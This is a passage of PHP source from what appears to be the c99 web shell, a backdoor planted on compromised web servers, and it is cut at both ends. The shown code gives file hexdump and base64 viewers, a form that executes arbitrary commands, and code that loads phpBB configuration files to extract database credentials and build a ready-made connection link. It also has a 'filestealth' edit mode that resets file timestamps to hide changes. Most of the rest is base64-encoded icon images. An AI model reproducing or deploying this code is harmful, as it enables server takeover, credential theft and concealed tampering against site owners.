      echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";  
      $fi = fopen($d.$f,"rb");  
      if ($fi) {  
        if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}  
        else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}  
        $n = 0;  
        $a0 = "00000000<br>";  
        $a1 = "";  
        $a2 = "";  
        for ($i=0; $i<strlen($str); $i++) {  
          $a1 .= sprintf("%02X",ord($str[$i]))." ";  
          switch (ord($str[$i])) {  
            case 0:  $a2 .= "<font>0</font>"; break;  
            case 32:  
            case 10:  
            case 13: $a2 .= "&nbsp;"; break;  
            default: $a2 .= htmlspecialchars($str[$i]);  
          }  
          $n++;  
          if ($n == $hexdump_rows) {  
            $n = 0;  
            if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}  
            $a1 .= "<br>";  
            $a2 .= "<br>";  
          }  
        }  
        echo "<table border=1 bgcolor=#666666>".  
             "<tr><td bgcolor=#666666>".$a0."</td>".  
             "<td bgcolor=#000000>".$a1."</td>".  
             "<td bgcolor=#000000>".$a2."</td>".  
             "</tr></table><br>";  
      }  
      $encoded = "";  
      if ($base64 == 1) {  
        echo "<b>Base64 Encode</b><br>";  
        $encoded = base64_encode(file_get_contents($d.$f));  
      }  
      elseif($base64 == 2) {  
        echo "<b>Base64 Encode + Chunk</b><br>";  
        $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));  
      }  
      elseif($base64 == 3) {  
        echo "<b>Base64 Encode + Chunk + Quotes</b><br>";  
        $encoded = base64_encode(file_get_contents($d.$f));  
        $encoded = substr(preg_replace("!.{1,76}!","''.
",$encoded),0,-2);  
      }  
      elseif($base64 == 4) {  
        $text = file_get_contents($d.$f);  
        $encoded = base64_decode($text);  
        echo "<b>Base64 Decode";  
    if (base64_encode($encoded) != $text) {echo " (failed)";}  
    echo "</b><br>";  
   }  
   if (!empty($encoded))  
   {  
    echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";  
   }  
   echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>  
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>  
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>  
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>  
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>  
        <P>";  
  }  
  elseif ($ft == "html") {  
   if ($white) {@ob_clean();}  
   echo $r;  
   if ($white) {c99shexit();}  
  }  
  elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}  
  elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}  
  elseif ($ft == "phpsess") {  
   echo "<pre>";  
   $v = explode("|",$r);  
   echo $v[0]."<br>";  
   var_dump(unserialize($v[1]));  
   echo "</pre>";  
  }  
  elseif ($ft == "exe") {  
   $ext = explode(".",$f);  
   $c = count($ext)-1;  
   $ext = $ext[$c];  
   $ext = strtolower($ext);  
   $rft = "";  
   foreach($exeftypes as $k=>$v)  
   {  
    if (in_array($ext,$v)) {$rft = $k; break;}  
   }  
   $cmd = str_replace("%f%",$f,$rft);  
   echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";  
  }  
  elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}  
  elseif ($ft == "code") {  
    if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {  
      $arr = explode("
",$r);  
      if (count($arr == 18)) {  
        include($d.$f);  
        echo "<b>phpBB configuration is detected in this file!<br>";  
        if ($dbms == "mysql4") {$dbms = "mysql";}  
        if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}  
        else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}  
        echo "Parameters for manual connect:<br>";  
        $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);  
        foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}  
        echo "</b><hr size=\"1\" noshade>";  
      }  
    }  
    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";  
    if (!empty($white)) {@ob_clean();}  
    highlight_file($d.$f);  
    if (!empty($white)) {c99shexit();}  
    echo "</div>";  
  }  
  elseif ($ft == "download") {  
    @ob_clean();  
    header("Content-type: application/octet-stream");  
    header("Content-length: ".filesize($d.$f));  
    header("Content-disposition: attachment; filename=\"".$f."\";");  
    echo $r;  
    exit;  
  }  
  elseif ($ft == "notepad") {  
    @ob_clean();  
    header("Content-type: text/plain");  
    header("Content-disposition: attachment; filename=\"".$f.".txt\";");  
    echo($r);  
    exit;  
  }  
  elseif ($ft == "img") {  
    $inf = getimagesize($d.$f);  
    if (!$white) {  
      if (empty($imgsize)) {$imgsize = 20;}  
      $width = $inf[0]/100*$imgsize;  
      $height = $inf[1]/100*$imgsize;  
      echo "<center><b>Size:</b>&nbsp;";  
      $sizes = array("100","50","20");  
      foreach ($sizes as $v) {  
        echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";  
        if ($imgsize != $v ) {echo $v;}  
        else {echo "<u>".$v."</u>";}  
        echo "</a>&nbsp;&nbsp;&nbsp;";  
      }  
      echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";  
    }  
    else {  
      @ob_clean();  
      $ext = explode($f,".");  
      $ext = $ext[count($ext)-1];  
      header("Content-type: ".$inf["mime"]);  
      readfile($d.$f);  
      exit;  
    }  
  }  
  elseif ($ft == "edit") {  
   if (!empty($submit))  
   {  
    if ($filestealth) {$stat = stat($d.$f);}  
    $fp = fopen($d.$f,"w");  
    if (!$fp) {echo "<b>Can't write to file!</b>";}  
    else  
    {  
     echo "<b>Saved!</b>";  
     fwrite($fp,$edit_text);  
     fclose($fp);  
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}  
     $r = $edit_text;  
    }  
   }  
   $rows = count(explode("
",$r));  
   if ($rows < 10) {$rows = 10;}  
   if ($rows > 30) {$rows = 30;}  
   echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";  
  }  
  elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}  
  else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}  
}  
echo "</div>
";  
}  
}  
else {  
@ob_clean();  
$images = array(  
"arrow_ltr"=>  
"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",  
"back"=>  
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".  
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".  
"Wg0JADs=",  
"buffer"=>  
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".  
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGyxChg+xhnRB+ptLOhai1crEmD".  
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",  
"change"=>  
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".  
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".  
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".  
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".  
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".  
"zMshADs=",  
"delete"=>  
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1yx19cwXOfDw8Kenp/n5+etgeunp".  
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9yx7djcscSM93d3ZGRkeEsTevd4LCw".  
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".  
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".  
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".  
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".  
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".  
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".  
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",  
"download"=>  
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".  
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",  
"forward"=>  
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".  
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".  
"WqsJADs=",  
"home"=>  
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".  
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".  
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".  
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",  
"mode"=>  
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9yx////wAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".  
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".  
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",  
"search"=>  
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9yx01NTSkpKQQEBP//".  
"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".  
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".  
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".  
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",  
"setup"=>  
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9yx01NTUJC".  
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".  
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".  
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".  
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",  
"small_dir"=>  
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".  
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",  
"small_unk"=>  
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".  
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".  
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++yx/e72/vH3/vL4/u31".  
"/e31/uDu/dzr/Orz/eHu/yx6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".  
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".  
"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".  
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".  
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".  
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".  
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".  
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".  
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".  
"yAsokBkQADs=",  
"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".  
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",  
"sort_asc"=>  
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".  
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",  
"sort_desc"=>  
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".  
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",  
"sql_button_drop"=>  
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".  
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".  
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".  
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".  
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".  
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".  
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".  
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".  
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".  
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".  
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".  
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".  
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".  
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5yx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".  
"AQEAOw==",  
"sql_button_empty"=>  
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".  
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".  
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".  
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".  
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".  
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".  
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".  
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".  
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".  
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".  
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".  
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".  
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".  
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",  
"sql_button_insert"=>  
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".  
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".  
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".  
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".  
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".  
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".  
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".  
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".  
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".  
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".  
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".  
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".  
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".  
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",  
"up"=>  
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".  
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".  
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwyxtop4p53PwLKOjvvV".  
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",  
"write"=>  
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9yxwQEBP///wAAAAAAAAAAAAAAAAAA".  
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".  
"EQYQLUAsGgM0Wwt3bCJfQSyx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".  
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",  
"ext_asp"=>  
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".  
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".  
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",  
"ext_mp3"=>  
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".  
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".  
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",  
"ext_avi"=>  
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".  
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".  
"PYXCyg+V2i44XeRmSfYqsGhAAgA7",  
"ext_cgi"=>  
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".  
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".  
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".  
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".  
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
